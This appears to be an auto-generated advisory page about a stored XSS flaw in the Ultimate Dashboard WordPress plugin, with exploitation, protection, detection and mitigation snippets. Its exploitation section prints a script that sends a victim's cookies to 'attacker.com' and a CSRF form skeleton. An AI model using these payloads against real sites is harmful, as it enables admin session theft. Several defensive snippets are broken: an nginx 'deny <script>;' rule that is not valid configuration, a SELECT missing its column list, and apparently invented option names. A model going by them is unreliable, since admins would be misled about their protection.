How CVE-2025-1523 Works
The Ultimate Dashboard WordPress plugin (before version 3.8.6) fails to properly sanitize and escape certain settings, allowing high-privileged users (like administrators) to inject malicious JavaScript payloads. This stored XSS vulnerability persists even when security measures like `unfiltered_html` are disabled, particularly in WordPress multisite configurations. Attackers can exploit this by injecting scripts into dashboard settings, which then execute when other users view the affected pages.
DailyCVE Form
Platform: WordPress
Version: < 3.8.6
Vulnerability: Stored XSS
Severity: High
Date: 04/30/2025
What Undercode Say:
Exploitation
1. Payload Injection:
<script>alert('XSS')</script>
2. Admin Session Hijacking:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
3. CSRF + XSS Combo:
<form action="/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="update_settings"> <input type="hidden" name="malicious_payload" value="<script>..."> </form>
Protection
1. Update Plugin:
wp plugin update ultimate-dashboard
2. Input Sanitization:
echo esc_html(get_option('unsafe_setting'));
3. CSP Headers:
Header set Content-Security-Policy "default-src 'self'"
4. WAF Rules:
location ~ /wp-admin/ {
deny <script>;
}
Detection
1. Scan with WPScan:
wpscan --url example.com --enumerate vp --plugins-detection mixed
2. Manual Audit:
SELECT FROM wp_options WHERE option_name LIKE 'ultimate_dashboard%';
Mitigation
1. Disable Plugin:
wp plugin deactivate ultimate-dashboard
2. Database Cleanup:
UPDATE wp_options SET option_value = '' WHERE option_name = 'malicious_setting';
References
CVSS 4.0 Metrics
- Attack Vector: Network
- Complexity: Low
- Privileges Required: High
- User Interaction: Required
- Impact: Confidentiality, Integrity
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
